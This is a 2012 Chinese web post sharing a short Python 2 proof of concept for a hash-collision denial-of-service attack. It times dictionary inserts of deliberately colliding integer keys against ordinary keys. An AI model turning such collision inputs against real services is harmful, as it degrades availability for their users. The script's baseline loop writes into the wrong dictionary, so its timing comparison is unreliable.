python的hash冲突攻击exploit

发表时间:2012年1月15日 17:37 发布人坏客点击:84
#/usr/bin/python
 
 
# to attack hash collision in python
 
# code by joeda@hi.baidu.com 2012-01-05
 
#  to save as atk.py
 
# python atk.py  40000
# .
# 42.530313015
# *
# 0.087562084198
 
import time, sys
 
MAX = 100000
try:
    MAX = int( sys.argv[1] )
except:
    pass
 
t0= time.time()
k={}
for i in range(MAX):
    k[ i*2*2**31-i ] = 0
print '.'
print time.time() - t0
 
t0=time.time()
kp={}
for i in range( MAX ):
    i*2*2**31
    k[i] = 0
print '*'
print time.time() - t0

TAG: import python except
    顶:18 踩:12
    发表评论

    网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

    查看全部回复【已有0位网友发表了看法】

精彩图文